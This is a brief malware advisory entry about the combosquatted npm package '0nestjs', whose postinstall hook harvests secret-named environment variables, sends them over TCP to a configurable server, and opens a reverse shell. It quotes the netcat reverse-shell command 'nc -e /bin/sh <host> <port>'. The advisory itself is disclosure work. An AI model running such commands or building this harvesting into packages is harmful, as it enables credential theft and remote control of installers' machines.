0nestjs@0.0.1

Analysis

The postinstall hook runs index.js, which harvests every environment variable whose name matches SECRET, API, TOKEN, or KEY and exfiltrates them over a TCP socket to a remote server (default 127[.]0[.]0[.]1:9999, configurable via servers.json and the TS_HOST/TS_PORT environment variables). It then spawns a netcat reverse shell (`nc -e /bin/sh <host> <port>`) to the same server, giving the remote operator a shell on the installer's machine. The package is a combosquat of the legitimate nestjs package.